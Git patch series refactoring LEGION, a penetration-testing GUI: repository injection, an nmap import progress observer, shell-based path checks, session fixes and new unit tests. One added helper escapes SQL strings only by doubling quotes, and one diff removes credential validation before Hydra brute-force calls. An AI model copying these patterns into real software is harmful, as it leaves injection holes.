+28,11 @@ from app.settings import * -class Controller(): +class Controller: # initialisations that will happen once - when the program is launched @timing - def __init__(self, view, logic): + def __init__(self, view, logic, hostRepository: HostRepository): self.name = "LEGION" self.version = '0.3.5' self.build = '1565621036' @@ -43,6 +47,7 @@ def __init__(self, view, logic): self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." self.smallIcon = './images/icons/Legion-N_128x128.svg' self.bigIcon = './images/icons/Legion-N_128x128.svg' + self.hostRepository: HostRepository = hostRepository self.logic = logic self.view = view @@ -72,7 +77,11 @@ def start(self, title='*untitled'): self.view.start(title) def initNmapImporter(self): - self.nmapImporter = NmapImporter() + updateProgressObservable = UpdateProgressObservable() + updateProgressObserver = QtUpdateProgressObserver(ProgressWidget('Importing nmap..')) + updateProgressObservable.attach(updateProgressObserver) + + self.nmapImporter = NmapImporter(updateProgressObservable, self.hostRepository) self.nmapImporter.done.connect(self.importFinished) self.nmapImporter.schedule.connect(self.scheduler) # run automated attacks self.nmapImporter.log.connect(self.view.ui.LogOutputTextView.append) diff --git a/db/filters.py b/db/filters.py index 435069f8..8a1cb6b7 100644 --- a/db/filters.py +++ b/db/filters.py @@ -15,7 +15,7 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ -from app.auxiliary import sanitise +from db.validation import sanitise def applyFilters(filters): diff --git a/db/validation.py b/db/validation.py new file mode 100644 index 00000000..85567c1c --- /dev/null +++ b/db/validation.py @@ -0,0 +1,23 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" + + +# this function makes a string safe for use in sql query. the main point is to prevent us from breaking, +# not so much SQLi as such. +def sanitise(string: str) -> str: + return string.replace('\'', '\'\'') diff --git a/legion.py b/legion.py index 575cc497..88b8bb3a 100644 --- a/legion.py +++ b/legion.py @@ -1,19 +1,25 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' from app.shell.DefaultShell import DefaultShell -from db.repositories.ServiceRepository import ServiceRepository from ui.eventfilter import MyEventFilter from ui.gui import Ui_MainWindow from utilities.stenoLogging import * + log = get_logger('legion', path="./log/legion-startup.log") log.setLevel(logging.INFO) @@ -21,7 +27,8 @@ try: from sqlalchemy.orm.scoping import ScopedSession as scoped_session except ImportError as e: - log.info("Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") + log.info( + "Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") log.info(e) exit(1) @@ -43,6 +50,7 @@ try: import sys from colorama import init + init(strip=not sys.stdout.isatty()) from termcolor import cprint from pyfiglet import figlet_format @@ -71,7 +79,8 @@ try: qss_file = open('./ui/legion.qss').read() except IOError as e: - log.info("The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") + log.info( + "The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") exit(0) MainWindow.setStyleSheet(qss_file) @@ -81,19 +90,23 @@ prefix="legion-", directory="./tmp/", delete_on_close=False) # to store the db file + db = Database(tf.name) - logic = Logic(project_name=tf.name, db=db, shell=shell) # Model prep (logic, db and models) - view = View(ui, MainWindow) # View prep (gui) - controller = Controller(view, logic) # Controller prep (communication between model and view) + hostRepository = HostRepository(db) + + # Model prep (logic, db and models) + logic = Logic(project_name=tf.name, db=db, shell=shell, hostRepository=hostRepository) + view = View(ui, MainWindow, shell) # View prep (gui) + controller = Controller(view, logic, hostRepository) # Controller prep (communication between model and view) view.qss = qss_file - myFilter = MyEventFilter(view, MainWindow) # to capture events + myFilter = MyEventFilter(view, MainWindow) # to capture events app.installEventFilter(myFilter) # Center the application in screen x = app.desktop().screenGeometry().center().x() y = app.desktop().screenGeometry().center().y() - MainWindow.move(x - MainWindow.geometry().width()/2, y - MainWindow.geometry().height()/2) + MainWindow.move(x - MainWindow.geometry().width() / 2, y - MainWindow.geometry().height() / 2) # Show main window MainWindow.show() diff --git a/tests/app/actions/__init__.py b/tests/app/actions/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/app/actions/updateProgress/__init__.py b/tests/app/actions/updateProgress/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/app/actions/updateProgress/test_UpdateProgressObservable.py b/tests/app/actions/updateProgress/test_UpdateProgressObservable.py new file mode 100644 index 00000000..60c5a951 --- /dev/null +++ b/tests/app/actions/updateProgress/test_UpdateProgressObservable.py @@ -0,0 +1,66 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest + +from app.actions.updateProgress.AbstractUpdateProgressObserver import AbstractUpdateProgressObserver +from app.actions.updateProgress.UpdateProgressObservable import UpdateProgressObservable + + +class MockObserver(AbstractUpdateProgressObserver): + started = False + finished = False + progress = 0 + + def onProgressUpdate(self, progress) -> None: + self.progress = progress + + def onStart(self) -> None: + self.started = True + + def onFinished(self) -> None: + self.finished = True + + +class UpdateProgressObservableTest(unittest.TestCase): + def setUp(self) -> None: + self.updateProgressObservable = UpdateProgressObservable() + self.someObserver = MockObserver() + self.anotherObserver = MockObserver() + self.updateProgressObservable.attach(self.someObserver) + self.updateProgressObservable.attach(self.anotherObserver) + + def test_start_notifiesAllObservers(self): + self.assertFalse(self.someObserver.started) + self.assertFalse(self.anotherObserver.started) + self.updateProgressObservable.start() + self.assertTrue(self.someObserver.started) + self.assertTrue(self.anotherObserver.started) + + def test_finished_notifiesAllObservers(self): + self.assertFalse(self.someObserver.finished) + self.assertFalse(self.anotherObserver.finished) + self.updateProgressObservable.finished() + self.assertTrue(self.someObserver.finished) + self.assertTrue(self.anotherObserver.finished) + + def test_updateProgress_notifiesAllObservers(self): + self.assertEqual(0, self.someObserver.progress) + self.assertEqual(0, self.anotherObserver.progress) + self.updateProgressObservable.updateProgress(25) + self.assertEqual(25, self.someObserver.progress) + self.assertEqual(25, self.anotherObserver.progress) diff --git a/tests/app/http/__init__.py b/tests/app/http/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/app/http/test_isHttps.py b/tests/app/http/test_isHttps.py new file mode 100644 index 00000000..0e5b4fe1 --- /dev/null +++ b/tests/app/http/test_isHttps.py @@ -0,0 +1,31 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest.mock import patch, MagicMock + + +class isHttpsTest(unittest.TestCase): + def test_isHttps_GivenAnIpAddrAndPortThatIsHttps_ReturnsTrue(self): + with patch("urllib.request.urlopen") as urlopen, patch("urllib.request.Request") as Request: + expectedUserAgent = 'Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0' + from app.http.isHttps import isHttps + mockOpenedUrl = MagicMock() + Request.return_value = MagicMock() + urlopen.return_value.read.return_value = mockOpenedUrl + self.assertTrue(isHttps("some-ip", "8080")) + Request.assert_called_with("https://some-ip:8080", headers={"User-Agent": expectedUserAgent}) diff --git a/tests/app/shell/__init__.py b/tests/app/shell/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/app/shell/test_DefaultShell.py b/tests/app/shell/test_DefaultShell.py new file mode 100644 index 00000000..82b715e5 --- /dev/null +++ b/tests/app/shell/test_DefaultShell.py @@ -0,0 +1,41 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +import os.path + + +class DefaultShellTest(unittest.TestCase): + def setUp(self) -> None: + from app.shell.DefaultShell import DefaultShell + self.shell = DefaultShell() + + def test_isDirectory_whenProvidedADirectory_ReturnsTrue(self): + os.path.isdir = lambda name: True + self.assertTrue(self.shell.isDirectory("some-directory")) + + def test_isDirectory_whenProvidedAFile_ReturnsFalse(self): + os.path.isdir = lambda name: False + self.assertFalse(self.shell.isDirectory("some-file")) + + def test_isFile_whenProvidedAFile_ReturnsTrue(self): + os.path.isfile = lambda name: True + self.assertTrue(self.shell.isFile("some-file")) + + def test_isFile_whenProvidedAFile_ReturnsFalse(self): + os.path.isfile = lambda name: False + self.assertFalse(self.shell.isFile("some-directory")) diff --git a/tests/app/test_logic.py b/tests/app/test_logic.py index 9c7df959..d8d5ae3d 100644 --- a/tests/app/test_logic.py +++ b/tests/app/test_logic.py @@ -22,8 +22,10 @@ class LogicTest(unittest.TestCase): @patch('utilities.stenoLogging.get_logger') - def setUp(self, get_logger) -> None: + @patch('db.repositories.HostRepository') + def setUp(self, get_logger, hostRepository) -> None: self.shell = MagicMock() + self.hostRepository = hostRepository self.mock_db_session = MagicMock() def test_init_ShouldLoadInitialVariablesSuccessfully(self): @@ -31,7 +33,7 @@ def test_init_ShouldLoadInitialVariablesSuccessfully(self): self.shell.get_current_working_directory.return_value = "./some/path/" self.shell.create_temporary_directory.side_effect = ["./output/folder", "./running/folder"] - logic = Logic("test-session", self.mock_db_session, self.shell) + logic = Logic("test-session", self.mock_db_session, self.shell, self.hostRepository) self.assertEqual("./some/path/", logic.cwd) self.assertTrue(logic.istemp) @@ -45,7 +47,7 @@ def test_init_ShouldLoadInitialVariablesSuccessfully(self): def test_removeTemporaryFiles_whenProjectIsNotTemporaryAndNotStoringWordlists_shouldRemoveWordListsAndRunningFolder( self): from app.logic import Logic - logic = Logic("test-session", self.mock_db_session, self.shell) + logic = Logic("test-session", self.mock_db_session, self.shell, self.hostRepository) logic.setStoreWordlistsOnExit(False) logic.istemp = False logic.runningfolder = "./running/folder" @@ -61,7 +63,7 @@ def test_removeTemporaryFiles_whenProjectIsNotTemporaryAndNotStoringWordlists_sh def test_removeTemporaryFiles_whenProjectIsTemporary_shouldRemoveProjectAndOutputFolderAndRunningFolder( self): from app.logic import Logic - logic = Logic("test-session", self.mock_db_session, self.shell) + logic = Logic("test-session", self.mock_db_session, self.shell, self.hostRepository) logic.istemp = True logic.projectname = "project-name" logic.runningfolder = "./running/folder" diff --git a/tests/db/test_validation.py b/tests/db/test_validation.py new file mode 100644 index 00000000..49e854da --- /dev/null +++ b/tests/db/test_validation.py @@ -0,0 +1,28 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest + +from db.validation import sanitise + + +class validationTests(unittest.TestCase): + def test_sanitise_whenGivenAStringIncludingSingleQuotes_EscapesSingleQuotes(self): + self.assertEqual(sanitise("my' escaped ' string"), "my'' escaped '' string") + + def test_sanitise_whenGivenAStringWithNoSingleQuotes_ReturnsSameString(self): + self.assertEqual("my string", sanitise("my string")) diff --git a/tests/ui/observers/__init__.py b/tests/ui/observers/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/ui/observers/test_QtUpdateProgressObserver.py b/tests/ui/observers/test_QtUpdateProgressObserver.py new file mode 100644 index 00000000..766ee98d --- /dev/null +++ b/tests/ui/observers/test_QtUpdateProgressObserver.py @@ -0,0 +1,41 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest.mock import patch + + +class QtUpdateProgressObserverTest(unittest.TestCase): + @patch("ui.ancillaryDialog.ProgressWidget") + @patch('utilities.stenoLogging.get_logger') + def setUp(self, mockProgressWidget, mockLogging) -> None: + from ui.observers.QtUpdateProgressObserver import QtUpdateProgressObserver + self.mockProgressWidget = mockProgressWidget + self.qtUpdateProgressObserver = QtUpdateProgressObserver(self.mockProgressWidget) + + def test_onStart_callsShowOnProgressWidget(self): + self.qtUpdateProgressObserver.onStart() + self.mockProgressWidget.show.assert_called_once() + + def test_onFinished_callsHideOnProgressWidget(self): + self.qtUpdateProgressObserver.onFinished() + self.mockProgressWidget.hide.assert_called_once() + + def test_onProgressUpdate_callsSetProgressAndShow(self): + self.qtUpdateProgressObserver.onProgressUpdate(25) + self.mockProgressWidget.setProgress.assert_called_once_with(25) + self.mockProgressWidget.show.assert_called_once() diff --git a/tests/ui/test_eventfilter.py b/tests/ui/test_eventfilter.py index 8108fb9f..65887d48 100644 --- a/tests/ui/test_eventfilter.py +++ b/tests/ui/test_eventfilter.py @@ -19,7 +19,7 @@ from unittest import mock from unittest.mock import MagicMock, Mock, patch -from PyQt5.QtCore import QEvent, Qt, QObject, QVariant +from PyQt5.QtCore import QEvent, Qt, QObject from PyQt5.QtWidgets import QApplication from ui.eventfilter import MyEventFilter diff --git a/ui/observers/QtUpdateProgressObserver.py b/ui/observers/QtUpdateProgressObserver.py new file mode 100644 index 00000000..fb62ea9d --- /dev/null +++ b/ui/observers/QtUpdateProgressObserver.py @@ -0,0 +1,34 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from app.actions.updateProgress.AbstractUpdateProgressObserver import AbstractUpdateProgressObserver +from ui.ancillaryDialog import ProgressWidget + + +class QtUpdateProgressObserver(AbstractUpdateProgressObserver): + def __init__(self, progressWidget: ProgressWidget): + self.progressWidget = progressWidget + + def onStart(self) -> None: + self.progressWidget.show() + + def onFinished(self) -> None: + self.progressWidget.hide() + + def onProgressUpdate(self, progress: int) -> None: + self.progressWidget.setProgress(progress) + self.progressWidget.show() diff --git a/ui/settingsDialog.py b/ui/settingsDialog.py index 8a7e937e..2121f9c3 100644 --- a/ui/settingsDialog.py +++ b/ui/settingsDialog.py @@ -16,6 +16,8 @@ from PyQt5.QtWidgets import * from PyQt5 import QtCore, QtWidgets from app.auxiliary import * # for timestamps +from app.shell.Shell import Shell + class Validate(QtCore.QObject): # used to validate user input on focusOut - more specifically only called to validate tool name in host/port/terminal commands tabs def eventFilter(self, widget, event): @@ -48,7 +50,7 @@ def tabSizeHint(self,index): return self.tabSize class AddSettingsDialog(QtWidgets.QDialog): # dialog shown when the user selects settings menu - def __init__(self, parent=None): + def __init__(self, shell: Shell, parent=None): QtWidgets.QDialog.__init__(self, parent) self.setupLayout() @@ -64,6 +66,7 @@ def __init__(self, parent=None): self.hostTableRow = -1 self.portTableRow = -1 self.terminalTableRow = -1 + self.shell = shell # TODO: maybe these shouldn't be hardcoded because the user can change them... rethink this? self.defaultServicesList = ["mysql-default","mssql-default","ftp-default","postgres-default","oracle-default"] @@ -415,7 +418,7 @@ def validateStringWithSpace(self, widget): return True def validatePath(self, widget): - if not validatePath(str(widget.text())): + if not self.shell.isDirectory(str(widget.text())): self.toggleRedBorder(widget, True) return False else: @@ -423,7 +426,7 @@ def validatePath(self, widget): return True def validateFile(self, widget): - if not validateFile(str(widget.text())): + if not self.shell.isFile(str(widget.text())): self.toggleRedBorder(widget, True) return False else: diff --git a/ui/view.py b/ui/view.py index d6eba686..1ce95ecc 100644 --- a/ui/view.py +++ b/ui/view.py @@ -17,6 +17,7 @@ from PyQt5 import QtCore from PyQt5 import QtWidgets, QtGui, QtCore +from app.shell.Shell import Shell from ui.gui import * from ui.dialogs import * from ui.settingsDialog import * @@ -38,7 +39,7 @@ class View(QtCore.QObject): tick = QtCore.pyqtSignal(int, name="changed") # signal used to update the progress bar - def __init__(self, ui, ui_mainwindow): + def __init__(self, ui, ui_mainwindow, shell: Shell): QtCore.QObject.__init__(self) self.ui = ui self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings @@ -52,6 +53,7 @@ def __init__(self, ui, ui_mainwindow): self.processesTableViewSortColumn = 'status' self.toolsTableViewSort = 'desc' self.toolsTableViewSortColumn = 'id' + self.shell = shell def setController(self, controller): # the view needs access to controller methods to link gui actions with real actions self.controller = controller @@ -62,7 +64,7 @@ def startOnce(self): self.filterdialog = FiltersDialog(self.ui.centralwidget) self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) self.adddialog = AddHostsDialog(self.ui.centralwidget) - self.settingsWidget = AddSettingsDialog(self.ui.centralwidget) + self.settingsWidget = AddSettingsDialog(self.shell, self.ui.centralwidget) self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, self.controller.links, self.controller.emails, self.controller.version, self.controller.build, self.controller.update, self.controller.license, self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, qss = self.qss, parent = self.ui.centralwidget) self.configDialog = ConfigDialog(controller = self.controller, qss = self.qss, parent = self.ui.centralwidget) @@ -1484,7 +1486,7 @@ def resetBruteTabs(self): # TODO: show udp in tabTitle when udp service def callHydra(self, bWidget): - if validateNmapInput(bWidget.ipTextinput.text()) and validateNmapInput(bWidget.portTextinput.text()) and validateCredentials(bWidget.usersTextinput.text()) and validateCredentials(bWidget.passwordsTextinput.text()): + if validateNmapInput(bWidget.ipTextinput.text()) and validateNmapInput(bWidget.portTextinput.text()): # check if host is already in scope if not self.controller.isHostInDB(bWidget.ipTextinput.text()): message = "This host is not in scope. Add it to scope and continue?" From 03940d79b7d0a6bb4405ca83e9e420dbac3a6531 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Wed, 2 Oct 2019 21:39:09 -0400 Subject: [PATCH 304/450] Fix Session open issue with new reinitialize method --- app/logic.py | 7 +++++-- controller/controller.py | 8 +++++++- 2 files changed, 12 insertions(+), 3 deletions(-) diff --git a/app/logic.py b/app/logic.py index 3c6a73f3..53220056 100644 --- a/app/logic.py +++ b/app/logic.py @@ -34,11 +34,14 @@ class Logic: def __init__(self, project_name: str, db: Database, shell: Shell): + self.reinitialize(project_name, db, shell) + + def reinitialize(self, projectName: str, db: Database, shell: Shell): self.shell = shell self.db = db self.cwd = shell.get_current_working_directory() - self.projectname = project_name - log.info(project_name) + self.projectname = projectName + log.info(projectName) self.createTemporaryFiles() # creates temporary files/folders used by SPARTA self.serviceRepository: ServiceRepository = ServiceRepository(self.db) self.processRepository: ProcessRepository = ProcessRepository(self.db, log) diff --git a/controller/controller.py b/controller/controller.py index bbe387d8..5307e916 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -15,6 +15,7 @@ from app.importers.NmapImporter import NmapImporter from app.importers.PythonImporter import PythonImporter +from app.shell.DefaultShell import DefaultShell try: import queue @@ -183,7 +184,12 @@ def getPortTerminalActions(self): def createNewProject(self): self.view.closeProject() # removes temp folder (if any) - self.logic.createTemporaryFiles() # creates new temp files and folders + tf = self.logic.shell.create_named_temporary_file(suffix=".legion", + prefix="legion-", + directory="./tmp/", + delete_on_close=False) # to store the db file + db = Database(tf.name) + self.logic.reinitialize(tf.name, db, DefaultShell()) self.start() # initialisations (globals, etc) def openExistingProject(self, filename, projectType='legion'): From ea34cb7ce11e6ed8153d597a360631893c466651 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Wed, 2 Oct 2019 22:01:19 -0400 Subject: [PATCH 305/450] Fix open existing project issue --- app/logic.py | 25 +++++++++++++------------ controller/controller.py | 5 ++++- 2 files changed, 17 insertions(+), 13 deletions(-) diff --git a/app/logic.py b/app/logic.py index 53220056..0ec7ca66 100644 --- a/app/logic.py +++ b/app/logic.py @@ -34,22 +34,22 @@ class Logic: def __init__(self, project_name: str, db: Database, shell: Shell): - self.reinitialize(project_name, db, shell) - - def reinitialize(self, projectName: str, db: Database, shell: Shell): self.shell = shell self.db = db self.cwd = shell.get_current_working_directory() - self.projectname = projectName - log.info(projectName) + self.projectname = project_name self.createTemporaryFiles() # creates temporary files/folders used by SPARTA - self.serviceRepository: ServiceRepository = ServiceRepository(self.db) - self.processRepository: ProcessRepository = ProcessRepository(self.db, log) - self.hostRepository: HostRepository = HostRepository(self.db) - self.portRepository: PortRepository = PortRepository(self.db) - self.cveRepository: CVERepository = CVERepository(self.db) - self.noteRepository: NoteRepository = NoteRepository(self.db, log) - self.scriptRepository: ScriptRepository = ScriptRepository(self.db) + log.info(project_name) + self.reinitialize(db) + + def reinitialize(self, db: Database): + self.serviceRepository: ServiceRepository = ServiceRepository(db) + self.processRepository: ProcessRepository = ProcessRepository(db, log) + self.hostRepository: HostRepository = HostRepository(db) + self.portRepository: PortRepository = PortRepository(db) + self.cveRepository: CVERepository = CVERepository(db) + self.noteRepository: NoteRepository = NoteRepository(db, log) + self.scriptRepository: ScriptRepository = ScriptRepository(db) def createTemporaryFiles(self): try: @@ -161,6 +161,7 @@ def openExistingProject(self, filename, projectType="legion"): self.runningfolder = tempfile.mkdtemp(suffix = "-running", prefix = projectType + '-') # to store tool output of running processes self.db = Database(self.projectname) # use the new db + self.reinitialize(self.db) self.cwd = ntpath.dirname(str(self.projectname))+'/' # update cwd so it appears nicely in the window title except: diff --git a/controller/controller.py b/controller/controller.py index 5307e916..9d3cb2d2 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -189,7 +189,10 @@ def createNewProject(self): directory="./tmp/", delete_on_close=False) # to store the db file db = Database(tf.name) - self.logic.reinitialize(tf.name, db, DefaultShell()) + self.logic.projectname = tf.name + self.logic.db = db + self.logic.reinitialize(db) + self.logic.createTemporaryFiles() self.start() # initialisations (globals, etc) def openExistingProject(self, filename, projectType='legion'): From ce03bd248dc0ee705dbbe696ee565029926a6995 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Thu, 3 Oct 2019 04:58:01 -0700 Subject: [PATCH 306/450] Fix import error and resolve additional merge issues --- app/logic.py | 17 +++++++++-------- controller/controller.py | 4 +++- 2 files changed, 12 insertions(+), 9 deletions(-) diff --git a/app/logic.py b/app/logic.py index 3693967c..ea9ed289 100644 --- a/app/logic.py +++ b/app/logic.py @@ -40,12 +40,12 @@ def __init__(self, project_name: str, db: Database, shell: Shell, hostRepository self.projectname = project_name self.createTemporaryFiles() # creates temporary files/folders used by SPARTA log.info(project_name) - self.reinitialize(db) + self.reinitialize(db, hostRepository) - def reinitialize(self, db: Database): + def reinitialize(self, db: Database, hostRepository: HostRepository): self.serviceRepository: ServiceRepository = ServiceRepository(db) self.processRepository: ProcessRepository = ProcessRepository(db, log) - self.hostRepository: HostRepository = HostRepository(db) + self.hostRepository: HostRepository = hostRepository self.portRepository: PortRepository = PortRepository(db) self.cveRepository: CVERepository = CVERepository(db) self.noteRepository: NoteRepository = NoteRepository(db, log) @@ -77,10 +77,11 @@ def removeTemporaryFiles(self): log.info('Removing temporary files and folders..') try: # if current project is not temporary & delete wordlists if necessary - if not self.istemp and not self.storeWordlists: - log.info('Removing wordlist files.') - self.shell.remove_file(self.usernamesWordlist.filename) - self.shell.remove_file(self.passwordsWordlist.filename) + if not self.istemp: + if not self.storeWordlists: + log.info('Removing wordlist files.') + self.shell.remove_file(self.usernamesWordlist.filename) + self.shell.remove_file(self.passwordsWordlist.filename) else: self.shell.remove_file(self.projectname) self.shell.remove_directory(self.outputfolder) @@ -161,7 +162,7 @@ def openExistingProject(self, filename, projectType="legion"): self.runningfolder = tempfile.mkdtemp(suffix = "-running", prefix = projectType + '-') # to store tool output of running processes self.db = Database(self.projectname) # use the new db - self.reinitialize(self.db) + self.reinitialize(self.db, HostRepository(self.db)) self.cwd = ntpath.dirname(str(self.projectname))+'/' # update cwd so it appears nicely in the window title except: diff --git a/controller/controller.py b/controller/controller.py index 015b9629..44e9bf0b 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -19,6 +19,7 @@ from app.importers.NmapImporter import NmapImporter from app.importers.PythonImporter import PythonImporter from app.shell.DefaultShell import DefaultShell +from ui.observers.QtUpdateProgressObserver import QtUpdateProgressObserver try: import queue @@ -199,7 +200,8 @@ def createNewProject(self): db = Database(tf.name) self.logic.projectname = tf.name self.logic.db = db - self.logic.reinitialize(db) + self.logic.cwd = self.logic.shell.get_current_working_directory() + self.logic.reinitialize(db, HostRepository(db)) self.logic.createTemporaryFiles() self.start() # initialisations (globals, etc) From 81735c902037f65faeba6c29d148c4b72da0026b Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Thu, 3 Oct 2019 19:26:49 -0700 Subject: [PATCH 307/450] Fix session open issue --- app/importers/NmapImporter.py | 3 +++ app/logic.py | 4 ++-- controller/controller.py | 1 + db/repositories/ProcessRepository.py | 6 ++++-- tests/db/repositories/test_ProcessRepository.py | 4 ++-- ui/view.py | 3 +-- 6 files changed, 13 insertions(+), 8 deletions(-) diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 960a5c01..262fa191 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -50,6 +50,9 @@ def tsLog(self, msg): def setDB(self, db): self.db = db + def setHostRepository(self, hostRepository: HostRepository): + self.hostRepository = hostRepository + def setFilename(self, filename): self.filename = filename diff --git a/app/logic.py b/app/logic.py index ea9ed289..cce17c5e 100644 --- a/app/logic.py +++ b/app/logic.py @@ -161,10 +161,10 @@ def openExistingProject(self, filename, projectType="legion"): self.passwordsWordlist = Wordlist(self.outputfolder + '/' + projectType + '-passwords.txt') # to store found passwords self.runningfolder = tempfile.mkdtemp(suffix = "-running", prefix = projectType + '-') # to store tool output of running processes + self.cwd = ntpath.dirname(str(self.projectname))+'/' # update cwd so it appears nicely in the window title self.db = Database(self.projectname) # use the new db self.reinitialize(self.db, HostRepository(self.db)) - self.cwd = ntpath.dirname(str(self.projectname))+'/' # update cwd so it appears nicely in the window title - + except: log.info('Something went wrong while opening the project..') log.info("Unexpected error: {0}".format(sys.exc_info()[0])) diff --git a/controller/controller.py b/controller/controller.py index 44e9bf0b..a9ddbdf6 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -73,6 +73,7 @@ def start(self, title='*untitled'): self.fastProcessesRunning = 0 # counts the number of fast processes currently running self.slowProcessesRunning = 0 # counts the number of slow processes currently running self.nmapImporter.setDB(self.logic.db) # tell nmap importer which db to use + self.nmapImporter.setHostRepository(HostRepository(self.logic.db)) self.pythonImporter.setDB(self.logic.db) self.updateOutputFolder() # tell screenshooter where the output folder is self.view.start(title) diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py index 09512776..ac1c7957 100644 --- a/db/repositories/ProcessRepository.py +++ b/db/repositories/ProcessRepository.py @@ -15,6 +15,8 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ +from typing import Union + from app.auxiliary import getTimestamp from six import u as unicode @@ -32,14 +34,14 @@ def __init__(self, dbAdapter: Database, 